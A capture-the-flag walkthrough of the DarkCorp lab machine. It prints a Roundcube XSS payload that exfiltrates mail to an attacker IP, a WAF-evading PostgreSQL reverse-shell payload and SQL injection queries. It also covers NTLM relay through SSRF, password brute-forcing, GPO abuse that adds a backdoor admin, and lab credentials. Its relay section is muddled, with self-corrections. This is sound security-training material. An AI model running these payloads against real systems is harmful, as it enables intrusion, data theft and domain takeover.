Skip to main content

Starting the box


Link to the box: https://app.hackthebox.com/machines/DarkCorp.

Port Scan

We start off the box by running a port scan on the provided IP.
Attacker Linux
rustscan -a 10.10.11.54 -r 1-65535 -- -A -sC -sV -vvv -o darkcorp
Output of Nmap:
Terminal Output
22/tcp open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPM91a70VJCxg10WFerhkQv207077raOCX9rTMPBeEbHqGHO954XaFtpqjoofHOQWi2syh7IoOV5+APBOoJ60k0=
|   256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHquJFnMIhX9y8Ea87tDtRWPtxThlpE2Y1WxGzsyvQQM

80/tcp open  http    syn-ack nginx 1.22.1
|_http-favicon: Unknown favicon MD5: B0F964065616CFF6D415A5EDCFA30B97
| http-methods:
|_  Supported Methods: GET OPTIONS HEAD
| http-title: DripMail
|_Requested resource was index
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
A few key notes:
  • Port 22 (SSH) is open running OpenSSH 9.2p1 on Debian
  • Port 80 (Web Server) is open running nginx 1.22.1
  • The HTTP title indicates “DripMail” - likely an email service
  • The underlying OS is Linux (Debian)

Edit the Hosts file

As always, we edit the /etc/hosts file to add the hostname:
Attacker Linux
sudo nano /etc/hosts
/etc/hosts
10.10.11.54 drip.htb

Initial Foothold

Enumerating Port 80: Web Server (drip.htb)

Let’s check out the web server at http://drip.htb:

Subdomain Enumeration

We’ll enumerate subdomains to find additional targets:
Attacker Linux
gobuster vhost -u http://10.10.11.54 -t 500 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain --domain drip.htb | grep "Status: 200"
Terminal Output
mail.drip.htb Status: 200 [Size: 5323]
  • Nice. We found a new target: mail.drip.htb
  • Remember to add this into our hosts file
Let’s add it to our hosts file:
/etc/hosts
10.10.11.54 drip.htb mail.drip.htb

Manual Enumeration

We can sign up for an account at http://drip.htb/register:
Credentials
admin:admin
After registering, we are redirected to http://mail.drip.htb, and there is a welcome email:
Terminal Output
Hi admin,

Welcome to DripMail! We're excited to provide you convenient email solutions!. If you need help, please reach out to us at [email protected].
Checking the mail service information:
Terminal Output
Roundcube Webmail 1.6.7
Copyright © 2005-2022, The Roundcube Dev Team

### Installed plugins
|Plugin|Version|License|Source|
|---|---|---|---|
|filesystem_attachments|1.0|[GPL-3.0+](http://www.gnu.org/licenses/gpl.html)||
|jqueryui|1.13.2|[GPL-3.0+](http://www.gnu.org/licenses/gpl.html)|
  • The service is running Roundcube Webmail 1.6.7
  • This version is potentially vulnerable to CVE-2024-42009
Upon checking our mailbox, we saw this interesting message:
Terminal Output
Confidentiality Notice: This electronic communication may contain confidential or privileged information. Any unauthorized review, use, disclosure, copying, distribution, or taking of any part of this email is strictly prohibited. If you suspect that you've received a "phishing" e-mail, please forward the entire email to our security engineer at [email protected]

RoundCube XSS (CVE-2024-42009)

Researching the vulnerability: The vulnerability exploits a regex pattern used to remove bgcolor from the body tag:
Vulnerable Regex
/\s?bgcolor=["\']*[a-z0-9#]+["\']*/i
  • This regex removes any bgcolor alongside some optional quotation marks anywhere within the body tag
  • We can trick the regex into breaking other attributes
We can use this payload to trigger XSS:
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(origin) foo=bar">
  Foo
</body>
  • The regex removes bgcolor=foo", causing the syntax to break and allowing our onanimationstart handler to execute
The payload should be sent via the contact section at http://drip.htb/index#contact:
HTTP Request
POST /contact HTTP/1.1
Host: drip.htb

name=123&[email protected]&message=<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(origin) foo=bar">
  Foo
</body>&content=html&[email protected]
  • The content=html parameter is crucial for the payload to work
  • Success! The XSS triggers when the recipient opens the email

Stealing bcase’s Email

Let’s craft a payload to steal emails from [email protected]. First, we’ll test with a simple fetch:
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=fetch('http://10.10.14.22/')>Foo</body>
  • Note: We need to use single quotes inside the onanimationstart handler to avoid breaking the syntax
After testing various payloads, we found this working payload that exfiltrates email content:
<body title='bgcolor=foo' name='bar style=animation-name:progress-bar-stripes; onanimationstart=fetch(&apos;http://mail.drip.htb/?_task=mail&amp;_action=show&amp;_uid=1&amp;_mbox=INBOX&amp;_extwin=1&apos;).then(r=&gt;r.text()).then(d=&gt;fetch(&apos;http://10.10.14.22/steal&apos;,{method:&apos;POST&apos;,body:d,headers:{&apos;Content-Type&apos;:&apos;application/x-www-form-urlencoded&apos;}})) foo=bar'>test</body>
Setting up our listener:
from http.server import BaseHTTPRequestHandler, HTTPServer

class FileSavingHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length).decode('utf-8')

        print("\nReceived POST data:", post_data)

        # Save data to a file
        with open("received_data.txt", "a") as f:
            f.write(post_data + "\n")

        # Send response
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()
        self.wfile.write(b"Data saved successfully!")

# Start server
server_address = ('0.0.0.0', 80)
httpd = HTTPServer(server_address, FileSavingHTTPRequestHandler)

print("Listening for POST requests on port 80...")
httpd.serve_forever()
Sending the payload to [email protected]:
HTTP Request
name=test&[email protected]&message=<body title='bgcolor=foo' name='bar style=animation-name:progress-bar-stripes; onanimationstart=fetch(&apos;http://mail.drip.htb/?_task=mail&amp;_action=show&amp;_uid=1&amp;_mbox=INBOX&amp;_extwin=1&apos;).then(r=&gt;r.text()).then(d=&gt;fetch(&apos;http://10.10.14.22/steal&apos;,{method:&apos;POST&apos;,body:d,headers:{&apos;Content-Type&apos;:&apos;application/x-www-form-urlencoded&apos;}})) foo=bar'>test</body>&content=html&[email protected]
Successfully received bcase’s email:
Terminal Output
Hey Bryce,

The Analytics dashboard is now live. While it's still in development and limited in functionality, it should provide a good starting point for gathering metadata on the users currently using our service.

You can access the dashboard at dev-a3f1-01.drip.htb. Please note that you'll need to reset your password before logging in.

If you encounter any issues or have feedback, let me know so I can address them promptly.

Thanks
  • New domain discovered: dev-a3f1-01.drip.htb
  • We need to reset bcase’s password to access the dashboard
We can also steal the password reset token from bcase’s mailbox by targeting a different email UID. The reset token email contains:
Terminal Output
Your reset token has generated.  Please reset your password within the next 5 minutes.

You may reset your password here: http://dev-a3f1-01.drip.htb/reset/ImJjYXNlQGRyaXAuaHRiIg.Z61dqA.osMiUvlWRfGM3Xea1n-1BNODuaM
  • We can now reset bcase’s password and access the dashboard

Discovering the Development Dashboard

Additional Hostname Enumeration

Let’s take a step back. We noticed that we haven’t added darkcorp as a domain to our hosts file yet. This is important for CTF boxes:
Attacker Linux
sudo nano /etc/hosts
/etc/hosts
10.10.11.54 drip.htb mail.drip.htb dev-a3f1-01.drip.htb darkcorp.htb
Now let’s enumerate subdomains for darkcorp.htb:
Attacker Linux
gobuster vhost -u http://10.10.11.54 -t 500 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain --domain darkcorp.htb | grep "Status: 200"
  • No additional subdomains found

Directory Enumeration on darkcorp.htb

Let’s run directory enumeration on darkcorp.htb:
Attacker Linux
feroxbuster -u http://darkcorp.htb -C 404
Terminal Output
200      GET        1l        5w       64c http://darkcorp.htb/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard => http://darkcorp.htb/dashboard/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard/media => http://darkcorp.htb/dashboard/media/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard/apps => http://darkcorp.htb/dashboard/apps/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard/apps/templates => http://darkcorp.htb/dashboard/apps/templates/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard/apps/home => http://darkcorp.htb/dashboard/apps/home/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard/apps/static => http://darkcorp.htb/dashboard/apps/static/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard/apps/templates/includes => http://darkcorp.htb/dashboard/apps/templates/includes/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard/apps/templates/home => http://darkcorp.htb/dashboard/apps/templates/home/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard/apps/static/assets => http://darkcorp.htb/dashboard/apps/static/assets/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard/apps/templates/accounts => http://darkcorp.htb/dashboard/apps/templates/accounts/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard/apps/templates/layouts => http://darkcorp.htb/dashboard/apps/templates/layouts/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard/apps/authentication => http://darkcorp.htb/dashboard/apps/authentication/
  • We found a /dashboard directory with multiple subdirectories
  • The structure suggests this is a Flask application
  • /authentication looks particularly interesting
Let’s enumerate with dirsearch to find configuration files:
Attacker Linux
dirsearch /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x 404 -u http://darkcorp.htb
Terminal Output
[22:40:27] 200 -  796B  - /dashboard/.env
[22:40:39] 301 -  169B  - /dashboard/__pycache__  ->  http://darkcorp.htb/dashboard/__pycache__/
[22:41:00] 301 -  169B  - /dashboard/apps  ->  http://darkcorp.htb/dashboard/apps/
[22:41:49] 200 -  330B  - /dashboard/requirements.txt
  • We found a .env file! This typically stores environmental variables and credentials
Downloading the .env file:
/dashboard/.env
# True for development, False for production
DEBUG=False

# Flask ENV
FLASK_APP=run.py
FLASK_ENV=development

# If not provided, a random one is generated
# SECRET_KEY=<YOUR_SUPER_KEY_HERE>

# Used for CDN (in production)
# No Slash at the end
ASSETS_ROOT=/static/assets

# If DB credentials (if NOT provided, or wrong values SQLite is used)
DB_ENGINE=postgresql
DB_HOST=localhost
DB_NAME=dripmail
DB_USERNAME=dripmail_dba
DB_PASS=2Qa2SsBkQvsc
DB_PORT=5432

SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'
MAIL_SERVER = 'drip.htb'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
MAIL_USERNAME = None
MAIL_PASSWORD = None
MAIL_DEFAULT_SENDER = '[email protected]'
  • PostgreSQL database credentials: dripmail_dba:2Qa2SsBkQvsc
  • Flask secret key: GCqtvsJtexx5B7xHNVxVj0y2X0m10jq
  • This is valuable information for later exploitation
Since we know this is a Flask application, let’s enumerate the authentication directory for Python files:
Attacker Linux
feroxbuster -u http://darkcorp.htb/dashboard/apps/authentication -x py
Terminal Output
200      GET       39l       69w     1436c http://darkcorp.htb/dashboard/apps/authentication/forms.py
200      GET       30l       89w     1066c http://darkcorp.htb/dashboard/apps/authentication/util.py
200      GET       84l      287w     2955c http://darkcorp.htb/dashboard/apps/authentication/models.py
200      GET      142l      338w     5011c http://darkcorp.htb/dashboard/apps/authentication/routes.py
  • We can read the Flask application source code!
In routes.py, we found the password reset functionality:
try:
    reset_token = ts_secret_key.dumps(email)
    print(reset_token)
    msg = Message(
        recipients=[email],
        sender = '[email protected]',
        reply_to = '[email protected]',
        subject = "Reset token",
        body = f"Your reset token has generated.  Please reset your password within the next 5 minutes.\n\nYou may reset your password here: http://dev-a3f1-01.drip.htb/reset/{reset_token}"
        )
    mail.send(msg)
    flash("Reset token sent successfully.", "success")
    return redirect(url_for('authentication_blueprint.forgot'))
except:
    flash("Failed to send reset token.", "error")
    return redirect(url_for('authentication_blueprint.forgot'))
  • This confirms the dev-a3f1-01.drip.htb domain we found earlier

Accessing the Dashboard

After resetting bcase’s password using the stolen reset token, we can log into the dashboard at http://dev-a3f1-01.drip.htb:
Terminal Output
ID      Username    E-Mail              Host Header    IP Address
5001    support     [email protected]                   10.0.50.10
5002    bcase       [email protected]                     10.0.50.10
5003    ebelford    [email protected]                  10.0.50.10
5004    test        [email protected]                      172.16.20.1
  • We can see user information including IP addresses
  • The test user has a different IP: 172.16.20.1 - suggesting an internal network

Exploiting SQLi in dev-a3f1-01.drip.htb

The dashboard has a search function that returns interesting error messages:
Terminal Output
(psycopg2.errors.UndefinedFunction) operator does not exist: character varying = integer LINE 1: SELECT * FROM "Users" WHERE "Users".username = 123 ^ HINT: No operator matches the given name and argument types. You might need to add explicit type casts. [SQL: SELECT * FROM "Users" WHERE "Users".username = 123] (Background on this error at: https://sqlalche.me/e/20/f405)
  • The error reveals we’re dealing with PostgreSQL via SQLAlchemy
  • The application uses psycopg2 for database connections
Testing the search function, we find that searching for 'bcase' (with quotes) returns results. This suggests SQL injection:
Attacker Linux
'bcase' OR true
  • This returns all users, confirming SQL injection
Some keywords like UNION appear to be filtered. Let’s enumerate the database manually using Stacked Queries:
SQL Injection Payload
'bcase'; SELECT table_name FROM information_schema.tables WHERE table_schema='public';
  • Tables found: Users, Admins
SQL Injection Payload
'bcase'; SELECT column_name, data_type FROM information_schema.columns WHERE table_name='Admins';
  • Columns: id, username, password, email
Dumping user credentials:
SQL Injection Payload
'bcase'; SELECT username, password from "Users";
Terminal Output
support:d9b9ecbf29db8054b21f303072b37c4e
bcase:1eace53df87b9a15a37fdc11da2d298d
ebelford:0cebd84e066fd988e89083879e88c5f9
test:098f6bcd4621d373cade4e832627b4f6
  • We found password hashes for multiple users
  • ebelford is particularly interesting as it appeared in the user list

PostgreSQL File Read and RCE

Since we have SQL injection in PostgreSQL, we can leverage powerful built-in functions. Let’s test file reading:
SQL Injection Payload
'bcase'; SELECT pg_read_file('/etc/passwd', 0, 99999);
Terminal Output
root:x:0:0:root:/root:/bin/bash
bcase:x:1000:1000:Bryce Case Jr.,,,:/home/bcase:/bin/bash
vmail:x:5000:5000::/home/vmail:/usr/bin/nologin
ebelford:x:1002:1002:Eugene Belford:/home/ebelford:/bin/bash
  • File read works! We can see bcase and ebelford are system users
We can also list directories:
SQL Injection Payload
'bcase'; SELECT * FROM pg_ls_dir('/var/www/html');
Terminal Output
index.html
dashboard
dripmail
Now let’s escalate to RCE. The COPY command can execute system commands, but it appears to be filtered by WAF. We can bypass this using obfuscation:
SQL Injection Payload
DO $$ DECLARE c text; BEGIN c := CHR(67) || CHR(79) || CHR(80) || CHR(89) || ' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.14.22/443 0>&1"'''; EXECUTE c; END $$;
  • This stores C O P Y and the command into variable c, then executes it
  • The WAF cannot detect the keyword because it’s obfuscated using CHR() functions
Setting up our listener:
Attacker Linux
nc -lvnp 443
Executing the payload:
Terminal Output
postgres@drip:/var/lib/postgresql/15/main$ whoami
postgres
  • Success! We have a shell as the postgres user

Pivoting to ebelford

Enumerating the System

Let’s check the hosts file for network information:
Terminal Output
127.0.0.1       localhost drip.htb mail.drip.htb dev-a3f1-01.drip.htb
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

172.16.20.1 DC-01 DC-01.darkcorp.htb darkcorp.htb
172.16.20.3 drip.darkcorp.htb
nameserver 172.16.20.1
search darkcorp.htb
darkcorp.htb
  • We’re on 172.16.20.3 (drip.darkcorp.htb)
  • There’s a domain controller at 172.16.20.1 (DC-01.darkcorp.htb)
  • This indicates an Active Directory environment
Checking our network interfaces:
Terminal Output
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
inet 172.16.20.3  netmask 255.255.255.0  broadcast 172.16.20.255
  • Confirmed: we’re on the 172.16.20.0/24 network

Finding Credentials in Database Logs

Since we’re running as the postgres user, we should check PostgreSQL logs for sensitive information. LinPEAS might not catch these:
Victim Linux
cat /var/log/postgresql/postgresql-15-main.log.1 | grep ebelford
Terminal Output
2025-02-03 11:05:04.886 MST [5952] postgres@dripmail STATEMENT:  UPDATE Users SET password = 8bbd7f88841b4223ae63c8848969be86 WHERE username = ebelford;
  • We found ebelford’s password hash being updated in the logs!
  • Hash: 8bbd7f88841b4223ae63c8848969be86
Cracking the hash:
Attacker Linux
hashcat -m 0 8bbd7f88841b4223ae63c8848969be86 /usr/share/wordlists/rockyou.txt
Terminal Output
8bbd7f88841b4223ae63c8848969be86:ThePlague61780
  • Successfully cracked: ThePlague61780

Alternative Path - PostgreSQL Backups

There’s also an alternative way to find credentials. Someone hinted that credentials exist in /var/backups/postgres:
Victim Linux
ls -la /var/backups/postgres
Terminal Output
-rw-r--r-- 1 postgres postgres 1784 Feb  5 12:52 dev-dripmail.old.sql.gpg
  • We found an encrypted GPG file
Attempting to decrypt:
Victim Linux
gpg -d dev-dripmail.old.sql.gpg
  • It requires a passphrase
Trying the database password:
Terminal Output
passphrase: 2Qa2SsBkQvsc
  • Success! The backup decrypts
Contents of the backup:
Terminal Output
COPY public."Admins" (id, username, password, email) FROM stdin;
1       bcase   dc5484871bc95c4eab58032884be7225        [email protected]
2   victor.r    cac1c7b0e7008d67b6db40c03e76b9c0    [email protected]
3   ebelford    8bbd7f88841b4223ae63c8848969be86    [email protected]
\.
  • We found another user: victor.r with hash cac1c7b0e7008d67b6db40c03e76b9c0
  • This is likely a Windows domain user
Cracking victor.r’s hash:
Attacker Linux
hashcat -m 0 cac1c7b0e7008d67b6db40c03e76b9c0 /usr/share/wordlists/rockyou.txt
Terminal Output
cac1c7b0e7008d67b6db40c03e76b9c0:victor1gustavo@#
  • Successfully cracked: victor1gustavo@#

SSH Access as ebelford

Let’s SSH as ebelford:
Attacker Linux
Credentials
ebelford:ThePlague61780
  • Successfully authenticated!

Enumerating the Internal Network

Setting up for Lateral Movement

Since we need to access the internal 172.16.20.0/24 network, we’ll set up Ligolo for pivoting. First, download the Ligolo agent to the compromised host:
Victim Linux (ebelford)
wget 10.10.14.22/linux/ligolo/agent
chmod +x agent
Start the Ligolo agent:
Victim Linux (ebelford)
./agent -connect 10.10.14.22:8000 -ignore-cert&
On our attacker machine, start the Ligolo proxy and add a route to the internal network:
Attacker Linux
sudo ip route add 172.16.20.0/24 dev ligolo
  • Ligolo creates a tunnel allowing us to access the internal network directly
Alternatively, we can use SSHuttle for easier network access:
Attacker Linux
sshuttle -r [email protected] 172.16.20.0/24
Credentials
ThePlague61780
  • This creates a VPN-like tunnel to the internal network without needing to upload additional binaries

Network Discovery

Let’s scan the internal network for SMB hosts:
Attacker Linux
nxc smb 172.16.20.0/24
Terminal Output
SMB         172.16.20.1     445    DC-01            [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False)
SMB         172.16.20.2     445    WEB-01           [*] Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:darkcorp.htb) (signing:False) (SMBv1:False)
  • DC-01: Domain Controller at 172.16.20.1 (SMB signing enabled)
  • WEB-01: Web server at 172.16.20.2 (SMB signing disabled - potential relay target!)
Testing our credentials against the domain:
Attacker Linux
nxc smb 172.16.20.2 -u "victor.r" -p "victor1gustavo@#"
Terminal Output
SMB         172.16.20.2     445    WEB-01           [+] darkcorp.htb\victor.r:victor1gustavo@#
  • Success! victor.r is a valid domain account
Enumerating domain users:
Attacker Linux
nxc smb 172.16.20.1 -u "victor.r" -p "victor1gustavo@#" --users
Terminal Output
Administrator
Guest
krbtgt
victor.r
svc_acc
john.w
angela.w
angela.w.adm
taylor.b
taylor.b.adm
eugene.b
bryce.c
  • Multiple administrative accounts with .adm suffix
  • svc_acc - likely a service account
Checking for AS-REP roastable accounts:
Attacker Linux
impacket-GetNPUsers -dc-ip 172.16.20.1 'darkcorp.htb/victor.r':'victor1gustavo@#' -request -format hashcat -outputfile asrep-hashes.txt
  • No AS-REP roastable accounts found

Bloodhound Enumeration

Let’s run Bloodhound to map the Active Directory environment. Unfortunately, Ligolo has DNS resolution issues with Bloodhound, so we’ll use SSH dynamic port forwarding with proxychains instead. Setting up SSH dynamic port forwarding:
Attacker Linux
ssh [email protected] -D 1080
Credentials
ThePlague61780
Edit the proxychains configuration:
Attacker Linux
sudo nano /etc/proxychains4.conf
/etc/proxychains4.conf
dnat 10.10.11.54 172.16.20.1

socks5 127.0.0.1 1080
  • The dnat line ensures traffic to 10.10.11.54 is routed to the actual DC at 172.16.20.1
Now run Bloodhound through proxychains with the --dns-tcp flag:
Attacker Linux
proxychains4 bloodhound-python -u [email protected] -p 'victor1gustavo@#' -dc dc-01.darkcorp.htb --dns-tcp -ns 172.16.20.1 --dns-timeout 10 -c ALL -d darkcorp.htb
Key findings from Bloodhound:
  • taylor.b.adm is a GPO manager and can PSRemote
  • svc_acc has DNSAdmin privileges

Enumerating SMB Shares

Attacker Linux
enum4linux-ng -u "victor.r" -p "victor1gustavo@#" 172.16.20.1 -A
Terminal Output
[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share CertEnroll
[+] Mapping: OK, Listing: OK
[*] Testing share IPC$
[+] Mapping: OK, Listing: NOT SUPPORTED
[*] Testing share NETLOGON
[+] Mapping: OK, Listing: OK
[*] Testing share SYSVOL
[+] Mapping: OK, Listing: OK
  • We have access to CertEnroll - this suggests ADCS (Active Directory Certificate Services) is in use
Checking for ADCS:
Attacker Linux
nxc ldap 172.16.20.1 -u victor.r -p 'victor1gustavo@#' -M adcs
Terminal Output
Found PKI Enrollment Server: DC-01.darkcorp.htb
Found CN: DARKCORP-DC-01-CA
Found PKI Enrollment WebService: https://dc-01.darkcorp.htb/DARKCORP-DC-01-CA_CES_Kerberos/service.svc/CES
  • ADCS is present but looks complex to exploit

Enumerating WEB-01

Let’s scan WEB-01 for additional services:
Attacker Linux
nmap -sC -sV -p- 172.16.20.2
Terminal Output
80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack
5000/tcp  open  http          syn-ack Microsoft IIS httpd 10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|   Negotiate
|_  NTLM
|_http-server-header: Microsoft-IIS/10.0
|_http-title: 401 - Unauthorized: Access is denied due to invalid credentials.
| http-ntlm-info:
|   Target_Name: darkcorp
|   NetBIOS_Domain_Name: darkcorp
|   NetBIOS_Computer_Name: WEB-01
|   DNS_Domain_Name: darkcorp.htb
|   DNS_Computer_Name: WEB-01.darkcorp.htb
|   DNS_Tree_Name: darkcorp.htb
|_  Product_Version: 10.0.20348
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
  • Port 5000 is running IIS with NTLM authentication
  • Port 5985 (WinRM) is open for PSRemoting

NTLM Relay Attack

Web Dashboard SSRF

Let’s try accessing port 5000 with NTLM authentication:
Attacker Linux
curl --ntlm -u 'DARKCORP\victor.r:victor1gustavo@#' http://172.16.20.2:5000/
  • This works! The browser login wasn’t working due to Burp Proxy intercepting the NTLM authentication
Examining the HTML source:
<a class="nav-link" href="/">Dashboard</a>
<a class="nav-link" href="/graphs">Graphs</a>
<a class="nav-link" href="/check">Check Status</a>
<a class="nav-link" href="/export-logs">Export Logs</a>
fetch('/service-status')
  • There’s a “Check Status” functionality that looks interesting
Testing the status check endpoint:
HTTP Request
POST /status HTTP/1.1
Host: 172.16.20.2:5000
Content-Type: application/json

{"protocol":"http","host":"web-01.darkcorp.htb","port":"80"}
HTTP Response
{"message":"http://web-01.darkcorp.htb:80 is up!","status":"Success!"}
  • The application performs health checks on arbitrary hosts!
  • This is an SSRF vulnerability
Testing other ports:
Attacker Linux
curl --ntlm -u 'DARKCORP\victor.r:victor1gustavo@#' http://172.16.20.2:5000/status -H 'Content-Type: application/json' -d '{"protocol":"http","host":"web-01.darkcorp.htb","port":"81"}'
Terminal Output
{"message":"http://web-01.darkcorp.htb:81 is unreachable: HTTPConnectionPool(host='web-01.darkcorp.htb', port=81): Max retries exceeded with url: / (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x000001F5ECF47FD0>: Failed to establish a new connection: [WinError 10061] No connection could be made because the target machine actively refused it'))","status":"Error"}
  • Detailed error messages reveal this is a Python application using urllib3
  • When the application connects to an HTTP endpoint, it will authenticate using NTLM
  • We can relay this authentication!

Relaying to Domain Controller

Since we’re on the drip.darkcorp.htb host (172.16.20.3), we can make the application connect back to us and relay the authentication to the Domain Controller. First, let’s update our hosts file on the DC:
Attacker Linux
sudo nano /etc/hosts
/etc/hosts
172.16.20.1 dc-01.darkcorp.htb
172.16.20.2 web-01.darkcorp.htb
172.16.20.3 drip.darkcorp.htb
Setting up ntlmrelayx with multiple targets:
targets.txt
smb://172.16.20.1
ldap://172.16.20.1
smb://172.16.20.2
ldap://172.16.20.2
Attacker Linux
impacket-ntlmrelayx -smb2support -tf targets.txt --output-file ntlmrelayx-logs -w --no-multirelay
  • The -w flag starts a web server to capture the authentication
  • --output-file will capture hashes for logging
Now we need to make WEB-01 connect to our machine. Since we’re on drip.darkcorp.htb, we can set up a listener: From our ebelford SSH session on drip.darkcorp.htb:
Victim Linux
nc -lvnp 8081
Wait, we need to forward this properly. Let’s use a better approach - we’ll start a simple HTTP server on our attacker machine and use SSH port forwarding: Actually, let’s set up the relay differently. We’ll trigger the SSRF to connect to drip.darkcorp.htb (which we control via SSH), and from there relay to the DC:
Attacker Linux
impacket-ntlmrelayx -smb2support -t ldap://172.16.20.1 --output-file ntlmrelayx-logs -i
On drip, we set up an HTTP server that will be accessed:
Victim Linux (via SSH)
python3 -m http.server 80
Now trigger the SSRF:
Attacker Linux
curl --ntlm -u 'DARKCORP\victor.r:victor1gustavo@#' http://172.16.20.2:5000/status -H 'Content-Type: application/json' -d '{"protocol":"http","host":"drip.darkcorp.htb","port":"80"}'
Wait, this won’t work correctly because we need to relay from our attacker box. Let me reconsider the setup. Actually, we need to use SSH port forwarding to relay traffic. On our SSH connection to drip:
Attacker Linux
ssh -R 8081:127.0.0.1:80 [email protected]
This forwards port 8081 on drip to port 80 on our attacker machine. Now we start ntlmrelayx:
Attacker Linux
impacket-ntlmrelayx -smb2support -t ldap://172.16.20.1 --output-file ntlmrelayx-logs -i
And trigger the SSRF to connect to drip:8081:
Attacker Linux
curl --ntlm -u 'DARKCORP\victor.r:victor1gustavo@#' http://172.16.20.2:5000/status -H 'Content-Type: application/json' -d '{"protocol":"http","host":"drip.darkcorp.htb","port":"8081"}'
Terminal Output
[*] HTTPD(80): Authenticating against ldap://172.16.20.1 as DARKCORP/SVC_ACC SUCCEED
[*] Started interactive Ldap shell via TCP on 127.0.0.1:11000 as DARKCORP/SVC_ACC
  • Success! We relayed svc_acc’s authentication to the LDAP server
  • We now have an interactive LDAP shell as svc_acc
Connecting to the LDAP shell:
Attacker Linux
nc 127.0.0.1 11000
Terminal Output
# whoami
u:darkcorp\svc_acc
  • We have an LDAP shell, but it’s limited in functionality
  • The relay was successful, proving we can abuse the SSRF

Privilege Escalation

Abusing GPO as taylor.b.adm

Finding taylor.b.adm Credentials

From our Bloodhound analysis, we know that taylor.b.adm is a GPO manager with PSRemote capabilities. Let’s try to find credentials for this account. Since direct ADCS exploitation looks complex, let’s try password spraying:
Attacker Linux
kerbrute bruteuser -d darkcorp.htb --dc dc-01.darkcorp.htb /usr/share/wordlists/rockyou.txt taylor.b.adm -v -t 100
Terminal Output
2025/02/13 14:15:07 >  [+] VALID LOGIN:  [email protected]:!QAZzaq1
  • Success! Credentials: taylor.b.adm:!QAZzaq1

WinRM Access

Let’s connect via WinRM:
Attacker Linux
evil-winrm -u taylor.b.adm -p '!QAZzaq1' -i dc-01.darkcorp.htb
  • Successfully connected to the Domain Controller!

GPO Abuse

Since taylor.b.adm is a GPO manager, we can abuse Group Policy to escalate privileges. We’ll use pygpoabuse to create a scheduled task that adds a new admin user. First, identify the GPO we can modify. From Bloodhound or by listing GPOs:
Victim Windows (DC-01)
Get-GPO -All | Select DisplayName, Id
The GPO path format is:
Terminal Output
\\DARKCORP.HTB\SYSVOL\DARKCORP.HTB\POLICIES\{652CAE9A-4BB7-49F2-9E52-3361F33CE786}
  • The GPO ID is: 652CAE9A-4BB7-49F2-9E52-3361F33CE786
Using pygpoabuse on our attacker machine:
Attacker Linux
python pygpoabuse.py darkcorp.htb/taylor.b.adm:'!QAZzaq1' -dc-ip 172.16.20.1 -gpo-id '652CAE9A-4BB7-49F2-9E52-3361F33CE786'
Terminal Output
SUCCESS:root:ScheduledTask TASK_248c1f74 created!
[+] ScheduledTask TASK_248c1f74 created!
  • The tool created a scheduled task via GPO that will add a backdoor user
Forcing a GPO update on the DC:
Victim Windows (DC-01)
gpupdate /force
Checking for new users:
Victim Windows (DC-01)
net users
Terminal Output
User accounts for \\

-------------------------------------------------------------------------------
Administrator            angela.w                 angela.w.adm
bryce.c                  eugene.b                 Guest
john                     john.w                   krbtgt
svc_acc                  taylor.b                 taylor.b.adm
victor.r
The command completed with one or more errors.
  • New user john has been created!
